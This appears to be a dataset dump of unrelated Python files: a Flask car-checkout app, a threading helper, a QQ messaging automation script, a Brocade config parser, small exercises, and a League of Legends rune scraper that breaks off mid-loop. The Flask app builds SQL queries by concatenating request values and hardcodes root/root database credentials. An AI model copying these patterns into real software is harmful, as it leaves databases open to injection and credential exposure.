\n","sub_path":"src/python/WMCore/ResourceControl/ResourceControl.py","file_name":"ResourceControl.py","file_ext":"py","file_size_in_byte":7842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"571256145","text":"import os\n\n\n\"\"\"\nAPI Key + Secret\nIf you're writing code for your own openweathermap account, enable an API key.\nNext, create a Client object for interacting with the API:\nAPI Key: blah\nAPI Secret: blah\n\"\"\"\ndirectory = \"../keys/weatherKEY.txt\"\n#initialize keys\napi_key = \"\"\napi_secret = \"\"\n\nwith open(directory, 'rU') as f:\n for line in f: # Iterate through rows\n keys = line.split(\",\")\n api_key = keys[0]\n api_secret = keys[1]\n\n\n# Define global client\nglobal URLconnection\nURLkey = api_secret","sub_path":"APIconnect.py","file_name":"APIconnect.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"359163895","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 24 13:48:18 2018\n\n@author: monodeep.das@ust-global.com\n\"\"\"\nlistA = [1,3,5,7,9]\nlistB = [10,20,2,-2,6]\nlistC = listA + listB\nlistC.sort()\n","sub_path":"Week1/Day2/Exercise3/assignment2.py","file_name":"assignment2.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"542243654","text":"#!/usr/bin/env python\n# coding=utf-8\n\nif __name__ == '__main__':\n \"\"\" for file debug\"\"\"\n import sys,os\n sys.path.insert(0,os.path.join( os.getcwd(), '..' ))\n\nimport threading\nfrom threading import Thread,Event,Lock\nfrom vavava.util import LogAdapter,_interval_timer\n\n__author__ = 'vavava'\n\"\"\"\nusage:\n while self.IsRunning:\n if not self.IsPaused:\n ....\n do something\n ....\n else:\n wait for a while\n\"\"\"\nclass BaseThread(object):\n def __init__(self, name=\"\", log=None):\n self._name = name\n self._thread = None\n\n self.log = LogAdapter(log)\n\n self._is_paused=threading.Event()\n self._is_paused.clear()\n self._is_running=threading.Event()\n self._is_running.clear()\n\n def _run(self,*_args, **_kwargs):\n self.run()\n self._is_running.clear()\n self._is_paused.clear()\n\n def run(self):\n \"\"\"\n usage:\n while self.IsRunning:\n if not self.IsPaused:\n ....\n do something\n ....\n else:\n wait for a while\n \"\"\"\n\n def running_start(self):\n if not self.IsRunning:\n self._is_running.set()\n if self._thread:\n if self._thread.isAlive:\n raise Exception(\"can not start more than once\")\n\n self._thread = Thread(\n group = None,\n target = self._run,\n name = self._name,\n args = (),\n kwargs = {},\n verbose = None\n )\n self._thread.setDaemon(True)\n self._thread.start()\n else:\n raise Exception(\"can not start more than once\")\n\n def running_stop(self):\n if self._is_running.is_set():\n self._is_running.clear()\n if self._is_paused.is_set():\n self._is_paused.clear()\n elif self._thread:\n # maybe running stop,but thread is not over\n raise Exception(\"thread is not running\")\n\n def join(self,timeout=10.0):\n if self._thread:\n self._thread.join(timeout)\n self._thread = None\n\n def running_pause(self):\n if self.IsPaused:\n raise Exception(\"thread already paused\")\n self._is_paused.set()\n\n def running_resume(self):\n if self.IsPaused:\n self._is_paused.clear()\n else:\n raise Exception(\"thread already resumed\")\n\n def getName(self):\n return self._name\n\n @property\n def IsAlive(self):\n # thread is alive, maybe paused, maybe running\n # thread is not alive: surely not running\n return self._thread and self._thread.is_alive() and self.IsRunning\n\n @property\n def IsRunning(self):\n # thread is running: maybe paused, surely alive\n # thread is not running: out of work routine\n return self._is_running.is_set()\n\n @property\n def IsPaused(self):\n return self._is_paused.is_set()\n\n def __del__(self):\n if self.IsRunning:\n self.running_stop()\n raise Exception(\"thread is running on __del__\")\n\n\n\n\n# test .................................................\n\nclass TThread(BaseThread):\n def __init__(self,seq,log):\n BaseThread.__init__(self,log=log)\n self.seq=seq\n\n def run(self):\n while self.IsRunning:\n if self.IsPaused:\n import time\n self.log.debug(\"_thread waiting %d \",self.seq)\n time.sleep(1)\n else:\n self.log.debug(\"_thread running %d \",self.seq)\n self.log.debug(\"_thread out %d\",self.seq)\n\ndef test1(log):\n import time\n tt1=TThread(seq=1,log=log)\n try:\n while True:\n log.debug('main _thread(%f):start',_interval_timer())\n tt1.running_start()\n time.sleep(0.4)\n tt1.running_stop()\n tt1.join(1)\n time.sleep(1)\n except(KeyboardInterrupt):\n log.debug('main _thread(%f):stop timer',_interval_timer())\n tt1.running_stop()\n tt1.join(1)\n #tt2.stop()\n #tt3.stop()\n log.debug('main _thread(%f):stopped',_interval_timer())\n\n\ndef test2(log):\n import time\n tt1=TThread(seq=1,log=log)\n #tt2=TThread(2)\n #tt3=TThread(3)\n\n log.debug('main _thread(%f):start',_interval_timer())\n tt1.running_start()\n #tt2.start()\n #tt3.start()\n try:\n while True:\n if not tt1.IsPaused:\n tt1.running_pause()\n else:\n tt1.running_resume()\n time.sleep(2)\n except(KeyboardInterrupt):\n log.debug('main _thread(%f):stop timer',_interval_timer())\n tt1.running_stop()\n #tt2.stop()\n #tt3.stop()\n log.debug('main _thread(%f):stopped',_interval_timer())\n\nif __name__ == '__main__':\n import vavava.util\n log = vavava.util.initlog(\"./log/test_dbworkshop.log\")\n test2(log)\n\n","sub_path":"vavava/basethread.py","file_name":"basethread.py","file_ext":"py","file_size_in_byte":5068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"241377919","text":"import win32gui\n\nimport win32con\n\nfrom SendMsgByQQ.QQGUI import send_qq_hwnd_click_string\n\nhwnd_title = dict()\nhwnd_class = dict()\n\n\ndef get_all_hwnd_title(hwnd, arg):\n\n\tif win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled(hwnd) and win32gui.IsWindowVisible(hwnd):\n\t\thwnd_title.update({hwnd: win32gui.GetWindowText(hwnd)})\n\n\ndef get_all_hwnd_class(hwnd, arg):\n\n\tif win32gui.IsWindow(hwnd) and win32gui.IsWindowEnabled(hwnd) and win32gui.IsWindowVisible(hwnd):\n\t\thwnd_class.update({hwnd: win32gui.GetClassName(hwnd)})\n\n\ndef get_all_qq_win():\n\t\"\"\"\n\t获取桌面上所有的qq窗口\n\t:return:\n\t\"\"\"\n\n\twin32gui.EnumWindows(get_all_hwnd_class, 0)\n\th_c_list = [(h, c) for h, c in hwnd_class.items()]\n\th_c_list_filter = list(filter(lambda x: x[1] == 'TXGuiFoundation', h_c_list))\n\n\treturn [(x[0], win32gui.GetWindowText(x[0])) for x in h_c_list_filter]\n\n\ndef get_all_win_by_name(name):\n\twin32gui.EnumWindows(get_all_hwnd_title, 0)\n\tname_list = [t for h, t in hwnd_title.items()]\n\tname_list_filter = list(filter(lambda x: name in x, name_list))\n\n\treturn name_list_filter\n\n\nif __name__ == '__main__':\n\n\tr = get_all_qq_win()\n\n\tfor people in r:\n\t\tsend_qq_hwnd_click_string(people[0], '你好')\n\n\t# r = win32gui.FindWindowEx(hwndParent=0, hwndChildAfter=0, lpszClass=None, lpszWindow='')\n\tr = win32gui.FindWindow('TXGuiFoundation', None)\n\n\tname_list = get_all_win_by_name('拼车')\n\n\tfor h, t in hwnd_title.items():\n\t\tif t is not \"\":\n\t\t\tprint(h, t)\n","sub_path":"Room/Sub.py","file_name":"Sub.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"444503555","text":"#!/usr/bin/env python3\n# all the imports\nimport MySQLdb\nfrom contextlib import closing\nfrom flask import Flask, request, session, g, redirect, url_for, \\\n abort, render_template, flash\nfrom flask_socketio import SocketIO, emit\nimport threading\nimport gpio_ctrl\n\n# database configuration\nDATABASE = 'unit_database'\nDEBUG = True\nSECRET_KEY = 'development key'\nUSERNAME = 'root'\nPASSWORD = 'root'\n\n# create our little application :)\napp = Flask(__name__)\napp.config.from_object(__name__)\nsocketio = SocketIO(app)\n\n# function to establish a database connection\n# set values from database configuration, above\ndef connect_db():\n return MySQLdb.connect(user=USERNAME, passwd=PASSWORD, db=DATABASE)\n\n@app.before_request\ndef before_request():\n g.db = connect_db()\n\n@app.teardown_request\ndef teardown_request(exception):\n db = getattr(g, 'db', None)\n if db is not None:\n db.close()\n\n@app.route('/')\ndef list_cars():\n cur = g.db.cursor()\n cur.execute('select id, car_number, space_number, car_type, bike, \\\n ibis, driver from unit_table order by id asc')\n entries = [dict(id=row[0], car_number=row[1], space_number=row[2], \\\n car_type=row[3], bike=row[4], ibis=row[5], driver=row[6]) \\\n for row in cur.fetchall()]\n return render_template('list.html', entries=entries)\n\n@app.route('/admin')\ndef show_entries():\n # establish a database cursor for our query\n cur = g.db.cursor()\n\n # execute the sql statement\n cur.execute('select id, car_number, space_number, car_type, bike, \\\n ibis, driver from unit_table order by id asc')\n entries = [dict(id=row[0], car_number=row[1], space_number=row[2], \\\n car_type=row[3], bike=row[4], ibis=row[5], driver=row[6]) \\\n for row in cur.fetchall()]\n\n # load html template and pass the results of our query\n return render_template('show_entries.html', entries=entries)\n\n@app.route('/add', methods=['POST'])\ndef add_entry():\n if not session.get('logged_in'):\n abort(401)\n cur = g.db.cursor()\n cur.execute('insert into unit_table (car_number, space_number, \\\n car_type, bike, ibis, driver) values (%s, %s, %s, %s, %s, %s)',\n [request.form['car_number'], request.form['space_number'], \\\n request.form['car_type'], request.form['bike'], \\\n request.form['ibis'], request.form['driver']])\n\n # commit the database transaction\n g.db.commit()\n flash('New entry was successfully posted')\n return redirect(url_for('show_entries'))\n\n@app.route('/delete', methods=['POST'])\ndef delete_entry():\n if not session.get('logged_in'):\n abort(401)\n cur = g.db.cursor()\n cur.execute('delete from unit_table where car_number=' + request.form['id'])\n g.db.commit()\n flash('Entry was deleted')\n return redirect(url_for('show_entries'))\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n error = None\n if request.method == 'POST':\n if request.form['username'] != app.config['USERNAME']:\n error = 'Invalid username'\n elif request.form['password'] != app.config['PASSWORD']:\n error = 'Invalid password'\n else:\n session['logged_in'] = True\n flash('You were logged in')\n return redirect(url_for('show_entries'))\n return render_template('login.html', error=error)\n\n@app.route('/logout')\ndef logout():\n session.pop('logged_in', None)\n flash('You were logged out')\n return redirect(url_for('show_entries'))\n\n# socketio is used to communicate live changes on the database to our\n# display page and to receive updates from the client\n\n# receives driver_id and car_num\n@socketio.on('request checkout')\ndef get_driver(data):\n\n # send confirmation to client\n emit('checkout-response', {'carNum':data['car_num'], 'driver':data['driver_id']})\n\n # connect to db and get cursor\n g.db = connect_db()\n cur = g.db.cursor()\n\n # get driver name from id number\n cur.execute('select driver from unit_drivers where driver_id=' + \\\n data['driver_id'])\n res = cur.fetchall()\n\n # check for db hit\n if res:\n driver = res[0][0]\n else:\n driver = ''\n\n # get current driver of car\n cur.execute('select driver from unit_table where car_number=' + \\\n data['car_num'])\n res = cur.fetchall()\n curr_driver = res[0][0]\n\n # get cell of car\n cur.execute('select id from unit_table where car_number=' + \\\n data['car_num'])\n res = cur.fetchall()\n cell_id = res[0][0]\n\n\n driver_updated = False\n\n # check for same driver or new driver AND car is avail\n if driver == curr_driver or (curr_driver == '' and driver != ''):\n driver_updated = True\n if driver == curr_driver:\n driver = ''\n print('Check in!')\n\n # update database\n cur.execute('update unit_table set driver=\\'' + driver \\\n + '\\' where car_number=' + data['car_num'])\n g.db.commit()\n\n # update connected clients\n emit('inventory-change', {'carNum': data['car_num'], 'driver': driver}, \\\n broadcast=True)\n else:\n emit('wrong-driver', {'carNum': data['car_num'], 'driver': driver, 'currDriver': curr_driver})\n if driver_updated == True:\n threading.Thread(target=gpio_ctrl.relay(cell_id))#added to test. may need different syntax\n\n# receives car_num and driver\n@socketio.on('change car status')\ndef change_inventory(data):\n\n # connect to db and get cursor\n g.db = connect_db()\n cur = g.db.cursor()\n\n # update database\n cur.execute('update unit_table set driver=\\'' + data['driver']\\\n + '\\' where car_number=' + data['car_num'])\n g.db.commit()\n\n # update connected clients\n emit('inventory-change', {'carNum': data['car_num'], 'driver': data['driver']}, \\\n broadcast=True)\n\n@socketio.on('connect')\ndef connection_est():\n emit('connection-est', {'carNum': 'Connection', 'driver':'Established'})\n print('\\n\\n\\nClient connected\\n\\n\\n')\n\n#@socketio.on('disconnect', namespace='/update')\n@socketio.on('disconnect')\ndef client_disconnected():\n print('\\n\\n\\nClient disconnected\\n\\n\\n')\n\nif __name__ == '__main__':\n socketio.run(app)\n","sub_path":"info-disp/checkout.py","file_name":"checkout.py","file_ext":"py","file_size_in_byte":6261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"178513896","text":"import os\nimport csv\nimport fnmatch\nimport tkinter\n\n\ndef parsing(file_path, prefix, no_value=False):\n \"\"\"\n Функция создания списка из строк с префиксами передаваемых в prefix\n \"\"\"\n result = []\n with open(file_path, \"rt\", encoding=\"utf-8\") as f: # Открываем файл\n for line in f:\n line = line.strip() # Удаляем пробелы в начале и в конце\n if not line:\n continue\n if line.startswith(prefix):\n s = line.find(':') # Ищем первое вхождение ':' в строке\n attribute = line[len(prefix):s] # Отрезаем префикс строки, ':' и все что дальше. Присваеваем в att\n value = line[s+1:] # Присваеваем в value все что после ':'\n if no_value:\n result = attribute # Возращаем att как результат функции, если есть no_value\n else:\n d = attribute+';'+value # Склеиваем в новую строку с разделителм ';'\n a = d.split(';') # Режем строку на список по разделителю ';'\n result.append(a) # Вставляем полученый список как элемент результирующего списка\n else:\n continue\n return result\n\n\ndef csv_writer(data, file_name):\n \"\"\"\n Запись в CSV файл\n \"\"\"\n with open(os.getcwd()+'/'+file_name, \"w\", newline='') as csv_file:\n writer = csv.writer(csv_file, delimiter=',')\n for line in data:\n writer.writerow(line)\n\n\ndef find_all_files_by_template_in_subdirs(pattern, folder=os.getcwd()):\n \"\"\"\n Ищет все файлы по шаблону (pattern) в указанной папке (folder) и во всех вложенных.\n Если folder не указн то ищется в текущем каталоге\n \"\"\"\n result = []\n for dirs, subdirs, files in os.walk(folder):\n for filename in fnmatch.filter(files, pattern):\n fullname = os.path.join(dirs, filename)\n result.append(fullname)\n return result\n\n\ndef parsing_sshow_sys(value, in_csv=False):\n \"\"\"\n Парсим все найденные по маске *SSHOW_SYS.txt файлы (поиск alias и zone) и складываем в csv, если in_csv=True\n Если in_csv=False возращаем результат поиска\n :return: возращает найденное\n \"\"\"\n result = None\n find = value+'.'\n for file in find_all_files_by_template_in_subdirs('*SSHOW_SYS.txt'):\n parsing_result = parsing(file, find)\n cfg = parsing(file, \"cfg.\", no_value=True)\n if in_csv:\n csv_writer(parsing_result, cfg + \"_\" + value + \".csv\")\n result = None\n else:\n result = parsing_result\n return result\n\n\ndef load_sshow_sys(value):\n text_result.delete('1.0', 'end')\n text_result.insert('1.0', parsing_sshow_sys(value))\n\n\nif __name__ == '__main__':\n root = tkinter.Tk()\n root.title('Brocade Parser v2.0')\n root.minsize(800, 450)\n\n frame_button = tkinter.Frame(root, bg='gray15', border=1, relief='raise')\n frame_text = tkinter.LabelFrame(root, bg='gray15', border=1, relief='flat', text='Результат:', fg='sienna1')\n\n frame_button.pack(side='top', fill='both')\n frame_text.pack(side='top', fill='both')\n\n # ---frame_button---\n button_alias_to_csv = tkinter.Button(frame_button, text=\"alias->CSV\", bg='gray20', fg='sienna1', font='Arial 8',\n relief='raise', overrelief='sunken', activebackground='sienna1')\n button_zone_to_csv = tkinter.Button(frame_button, text=\"zone->CSV\", bg='gray20', fg='sienna1', font='Arial 8',\n relief='raise', overrelief='sunken', activebackground='sienna1')\n button_load_alias_in_text = tkinter.Button(frame_button, text=\"показать все alias\", bg='gray20', fg='sienna1',\n font='Arial 8', relief='raise', overrelief='sunken',\n activebackground='sienna1')\n\n button_alias_to_csv.pack(side='left')\n button_zone_to_csv.pack(side='left')\n button_load_alias_in_text.pack(side='left')\n # ------------------\n\n # ---frame_text-----\n text_result = tkinter.Text(frame_text, font='Arial 7', bg='gray20', fg='sienna1')\n scrollbar_text_result = tkinter.Scrollbar(frame_text, bg='gray20', activebackground='gray20')\n scrollbar_text_result['command'] = text_result.yview\n text_result['yscrollcommand'] = scrollbar_text_result.set\n\n text_result.pack(side='left', fill='both')\n scrollbar_text_result.pack(side='right', fill='y')\n # ------------------\n\n button_alias_to_csv.bind(\"\", lambda event: parsing_sshow_sys('alias', in_csv=True))\n button_zone_to_csv.bind(\"\", lambda event: parsing_sshow_sys('zone', in_csv=True))\n #button_load_alias_in_text(\"\", load)\n load_sshow_sys('alias')\n\n root.mainloop()\n\n\n","sub_path":"brocade_parser_v2.0.py","file_name":"brocade_parser_v2.0.py","file_ext":"py","file_size_in_byte":5447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"624440894","text":"#make json\n\nimport csv, json\n\nfh = open('../data/indices.csv')\nreader = csv.DictReader(fh)\nlstReader = [row for row in reader]\nfh.close()\n\nlstResults = []\nfor row in lstReader:\n geo = {'city_name': row['city'], 'country_name': row['country'], 'lat': row['lat'], 'lng': row['lng']}\n life = {'stability':row['STABILITY'], 'total':row['TOTAL']}\n costs = {'total':row['TCOST']}\n ses = {'gdp_per_capita': row['gdp_per_capita'], 'unemployment':row['unemployment'], 'life_satisfaction':row['life_satisfaction']}\n lst = {'geo':geo, 'liveability':life}\n lstResults.append(lst)\n\noutput = json.dumps(lstResults)\noutDetailed = open('../data/indices.json', 'w')\noutDetailed.write(output)\noutDetailed.close()\n\nlstResults = []\nfor row in lstReader:\n geo = {'city_name': row['city'], 'country_name': row['country'], 'lat': row['lat'], 'lng': row['lng']}\n indices = {'cost':row['TCOST'],'liveability':row['TOTAL'],'ses':row['TSES']}\n lst = {'geo':geo, 'indices':indices}\n lstResults.append(lst)\n\noutput = json.dumps(lstResults)\noutSummary = open('../data/indices.summary.json', 'w')\noutSummary.write(output)\noutSummary.close()\n\n","sub_path":"src/indicesToJSON.py","file_name":"indicesToJSON.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"288722983","text":"import numpy as np\n\n\ndef get_std(data,mean):\n error = 0\n for x in data:\n error += (x-mean)**2\n\n error = np.sqrt(error/len(data))\n return error\n\nf = open('./temp/joint_images/real_cdr_0_3.txt','r')\n\ndata = f.readlines()\ndata_list = [float(x.strip()) for x in data]\n\ncdr = 0.3\nabs_errors = []\nfor x in data_list:\n abs_error = abs(x - cdr)\n abs_errors.append(abs_error)\nabs_errors = np.array(abs_errors)\nmean = np.mean(abs_errors)\nerror = get_std(abs_errors,mean)\nnp_error = np.std(abs_errors)\nprint('-------------')\nprint('set cdr=0.3')\nprint('-------------')\nprint('abs error mean:',mean)\nprint('abs error std:',error)\nprint('np std:',np_error)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"240011539","text":"#\n# @lc app=leetcode.cn id=518 lang=python3\n#\n# [518] 零钱兑换 II\n#\n# https://leetcode-cn.com/problems/coin-change-2/description/\n#\n# algorithms\n# Medium (42.24%)\n# Likes: 65\n# Dislikes: 0\n# Total Accepted: 3.3K\n# Total Submissions: 7.4K\n# Testcase Example: '5\\n[1,2,5]'\n#\n# 给定不同面额的硬币和一个总金额。写出函数来计算可以凑成总金额的硬币组合数。假设每一种面额的硬币有无限个。 \n# \n# \n# \n# \n# \n# \n# 示例 1:\n# \n# 输入: amount = 5, coins = [1, 2, 5]\n# 输出: 4\n# 解释: 有四种方式可以凑成总金额:\n# 5=5\n# 5=2+2+1\n# 5=2+1+1+1\n# 5=1+1+1+1+1\n# \n# \n# 示例 2:\n# \n# 输入: amount = 3, coins = [2]\n# 输出: 0\n# 解释: 只用面额2的硬币不能凑成总金额3。\n# \n# \n# 示例 3:\n# \n# 输入: amount = 10, coins = [10] \n# 输出: 1\n# \n# \n# \n# \n# 注意:\n# \n# 你可以假设:\n# \n# \n# 0 <= amount (总金额) <= 5000\n# 1 <= coin (硬币面额) <= 5000\n# 硬币种类不超过 500 种\n# 结果符合 32 位符号整数\n# \n# \n#\nclass Solution:\n def change(self, amount: int, coins: List[int]) -> int:\n dp = [0] * (amount+1)\n dp[0] = 1\n for coin in coins:\n for j in range(coin,amount+1):\n dp[j] += dp[j-coin]\n return dp[amount]","sub_path":"518.零钱兑换-ii.py","file_name":"518.零钱兑换-ii.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"503862994","text":"# 导入 matplotlib 的所有内容(nympy 可以用 np 这个名字来使用)\nfrom pylab import *\n\n\nclass Figure():\n def PrintFigure(self):\n figure(figsize=(8, 6), dpi=80)\n subplot(1, 1, 1)\n X = np.linspace(-np.pi, np.pi, 256, endpoint=True)\n C, S = np.cos(X), np.sin(X)\n plot(X, C, color=\"blue\", linewidth=1.0, linestyle=\"-\", label=\"cosine\")\n plot(X, S, color=\"green\", linewidth=1.0, linestyle=\"-\", label=\"sine\")\n xlim(-4.0, 4.0)\n xticks(np.linspace(-4, 4, 9, endpoint=True))\n ylim(-1.0, 1.0)\n yticks(np.linspace(-1, 1, 5, endpoint=True))\n # plot(X, C, color=\"blue\", linewidth=2.5, linestyle=\"-\", label=\"cosine\")\n # plot(X, S, color=\"red\", linewidth=2.5, linestyle=\"-\", label=\"sine\")\n legend(loc='upper left')\n show()\n\n\nOutFigure = Figure()\nOutFigure.PrintFigure()\n","sub_path":"ReadyWork/Figure.py","file_name":"Figure.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"130295949","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 31 18:38:46 2021\n\n@author: maurop\n\"\"\"\n\n# =============================================================================\n# TO DO list\n# =============================================================================\n# - button for upload\n# - show the differences?\n# - scrape abilities\n# - scrape win rates\n# - insert message when there is a not found champion\n# - log shit\n# - last used champions?\n# - sizes?\n\n\nimport os\n \nimport tkinter\nimport PIL\nfrom PIL import ImageTk as itk\nfrom PIL import ImageOps as ImOps\n\nimport ChampionList\nimport RequestsHandler\n\ncl = ChampionList.ChampionsList()\n\nchampions_list = cl.parse_champions()\n\n\nclass Stone:\n \n def __init__(self, img_file, active):\n \n self.img_file = img_file\n \n self.active = active\n \n \n def __str__(self):\n \n return self.img_file + \", \" + str(self.active) \n\nclass RunesSet:\n \n def __init__(self, table_tag):\n # gets the tables containg the runes\n self.table = table_tag\n \n def get_runes(self):\n # gets the runes rows\n return self.table.find_all(\"tr\", recursive = False)\n \n\n\nclass StoneRow:\n\n def __init__(self, rune_row):\n self.rune_row = rune_row\n\n\n def get_stones(self):\n # get the link of the image\n rune_links_tag = self.rune_row.find_all(\"img\")\n \n stones = []\n for link_tag in rune_links_tag:\n link = link_tag.get(\"src\")\n \n # find the image link end\n pos = link.find(\"?\")\n \n # prepare image link\n img_link = \"https:\" + link[:pos]\n \n # prepare image name\n image_name_start = img_link.rfind(\"/\") + 1\n img_name = img_link[image_name_start:]\n \n img_name_no_ext, ext = os.path.splitext(img_name)\n \n # request the image\n img_req = RequestsHandler.Request(img_link, f\"./cache/{img_name_no_ext}.pickle\")\n img_req.load()\n \n # prepare the filename\n img_filename = \"./images/\" + img_name\n \n # save the image\n img_req.save_image(img_filename)\n \n if link.find(\"e_grayscale&v=1\") != -1:\n active = False\n else:\n active = True\n \n stone = Stone(img_filename, active)\n stones.append(stone)\n \n return stones \n \nclass KeyStoneRow(StoneRow):\n \n def __init__(self, rune_row):\n super().__init__(rune_row)\n \n def get_stone(self):\n return self.get_stones()[0]\n \n \nclass RuneGroup:\n \n def __init__(self, keystone, in_stone_rows):\n self.keystone = KeyStoneRow(keystone)\n \n # the 3 rows\n self.stone_rows = []\n \n for row in in_stone_rows:\n self.stone_rows.append(StoneRow(row))\n \n\n\nclass ChampionPage:\n \n def __init__(self, champion, role):\n \n # get the chamopion page\n url = champion.link + \"/\" + role\n filename = \"./cache/\" + champion.name + \"_stats.pickle\"\n req = RequestsHandler.Request(url, filename)\n req.load()\n\n soup = req.get_soup()\n \n # get the runes table\n class_tag = \"champion-overview__table champion-overview__table--rune tabItems\"\n table = soup.find(\"table\", {\"class\":class_tag}) \n \n # find all tbody which contain the runes\n \n tbodies = table.find_all(\"tbody\", recursive=False)\n #print(len(tbodies))\n \n runes_sets = tbodies[0]\n runes_set_1 = tbodies[2]\n runes_set_2 = tbodies[2]\n \n \n # from the rune set extract the runes:\n runes_specs = runes_set_1.find_all(\"tr\", recursive=False)\n \n #print(len(runes_specs))\n \n runes_specs_1 = runes_specs[0]\n runes_specs_2 = runes_specs[1]\n \n # find the keystones\n \n keystones = runes_specs_1.find_all(\"div\", {\"class\" : \"perk-page__row\"})\n \n \n \n #print(len(keystones)) \n \n print(\"--- First runes ---\")\n \n\n self.rune_list_1 = RuneGroup(keystones[0], keystones[1:5])\n \n \n print(self.rune_list_1.keystone.get_stone()) \n for row in self.rune_list_1.stone_rows:\n print(\"-----\")\n stones = row.get_stones()\n \n for stone in stones:\n print(stone)\n \n \n self.rune_list_2 = RuneGroup(keystones[4], keystones[5:9])\n \n \n print(self.rune_list_2.keystone.get_stone()) \n for row in self.rune_list_2.stone_rows:\n print(\"-----\")\n stones = row.get_stones()\n \n for stone in stones:\n print(stone)\n \n \n # self.keystone = self.parse_key_rune(keystones[0])\n \n # row = keystones[1]\n \n # stones = row.find_all(\"div\", recursive=False)\n # print(len(stones))\n \n # self.stones = []\n \n # for stone in stones:\n \n # stone_img = Stone()\n # stone_img.img_file = self.save_image_tag(stone)\n # print()\n \n # self.stones.append(stone_img)\n \n # row2 = keystones[2]\n # stones2 = row2.find_all(\"div\", recursive=False)\n \n \n # self.stones2 = []\n \n # for stone in stones2:\n \n # stone_img = Stone()\n # stone_img.img_file = self.save_image_tag(stone)\n # print()\n \n # self.stones2.append(stone_img) \n \n \n \n \n # for i in range(1, 5):\n # self.parse_stone(keystones[i])\n \n # print(\"--- Second Runes ---\")\n\n # self.parse_key_rune(keystones[5])\n \n # for i in range(6, 9):\n # self.parse_stone(keystones[i]) \n \n def save_image_tag(self, stone):\n link = stone.find(\"img\").get(\"src\")\n pos = link.find(\"?\")\n \n # prepare image link\n img_link = \"https:\" + link[:pos]\n \n # prepare image name\n image_name_start = img_link.rfind(\"/\") + 1\n img_name = img_link[image_name_start:]\n \n img_name_no_ext, ext = os.path.splitext(img_name)\n \n img_req = RequestsHandler.Request(img_link, f\"./cache/{img_name_no_ext}.pickle\")\n img_req.load()\n \n img_filename = \"./images/\" + img_name\n \n img_req.save_image(img_filename) \n \n return img_filename\n \n def parse_key_rune(self, keystone):\n key_rune_link = keystone.find(\"img\").get(\"src\")\n \n pos = key_rune_link.find(\"?\")\n \n # prepare image link\n img_link = \"https:\" + key_rune_link[:pos]\n \n # prepare image name\n image_name_start = img_link.rfind(\"/\") + 1\n img_name = img_link[image_name_start:]\n \n img_name_no_ext, ext = os.path.splitext(img_name)\n \n img_req = RequestsHandler.Request(img_link, f\"./cache/{img_name_no_ext}.pickle\")\n img_req.load()\n \n img_req.save_image(\"./images/\" + img_name)\n \n # get the code\n ext_pos = key_rune_link.find(\".png\")\n \n code = \"\"\n pos = ext_pos - 1\n while key_rune_link[pos] != \"/\" or pos == 0:\n code = key_rune_link[pos] + code\n pos -= 1\n \n #print(code)\n \n stone = Stone()\n \n stone.img_file = \"./images/\" + img_name\n \n return stone\n \n \n def parse_stone(self, keystone):\n # if is the key stone the tag is this\n active_stone_tag = \"perk-page__item perk-page__item--keystone perk-page__item--active\"\n stone_page = keystone.find(\"div\", {\"class\": active_stone_tag }) \n \n # else is this one\n if stone_page is None:\n active_stone_tag = \"perk-page__item perk-page__item--active\"\n stone_page = keystone.find(\"div\", {\"class\": active_stone_tag }) \n \n if stone_page:\n \n img_tag = stone_page.find(\"img\")\n image_link = img_tag.get(\"src\")\n image_name = img_tag.get(\"alt\")\n \n print(image_name)\n else:\n print(\"No runes in this row\")\n \n # for i in range(1, 5):\n # active_stone_tag = \"perk-page__item perk-page__item--keystone perk-page__item--active\"\n \n # stone_page = keystones[i].find(\"div\",{ \"class\" : active_stone_tag })\n \n # img_tag = stone_page.find(\"img\")\n # image_link = img_tag.find(\"src\")\n # image_name = img_tag.find(\"alt\")\n \n # print(image_name)\n \n \n \n\n \n # keystone = table.find_all(\"div\", {\"class\": \"perk-page__item perk-page__item--active\"})\n # for key in keystone:\n \n # img = key.find(\"img\")\n \n # print(img.get(\"alt\")) \n \n\n\n\n#cp = ChampionPage(champions_list[0], champions_list[0].roles[0])\n\n\nfor champion in champions_list:\n if champion.name == \"Maokai\":\n cp = ChampionPage(champion, champion.roles[0]) \n\n\n\n# =============================================================================\n# GUI\n# =============================================================================\n\nimport matplotlib.pyplot as plt\n\nroot = tkinter.Tk()\n\n\nmain_frame = tkinter.Frame(root)\nmain_frame.pack()\n\n\nkeyrune_frame = tkinter.Frame(main_frame)\nkeyrune_frame.grid(row=0,column=0)\n\nkeyrunestone_frame = tkinter.Frame(keyrune_frame)\nkeyrunestone_frame.grid(row=0, column=0)\n\n\nkeyrune_image = tkinter.PhotoImage(file=cp.rune_list_1.keystone.get_stone().img_file)\n\n\nkeyrune_label = tkinter.Label(keyrunestone_frame, image=keyrune_image)\nkeyrune_label.pack()\n\n\n\n\n\nfor j, row in enumerate(cp.rune_list_1.stone_rows):\n stonerow_frame = tkinter.Frame(keyrune_frame)\n stonerow_frame.grid(row=j + 1, column=0)\n \n for i, stone in enumerate(row.get_stones()):\n print(i)\n 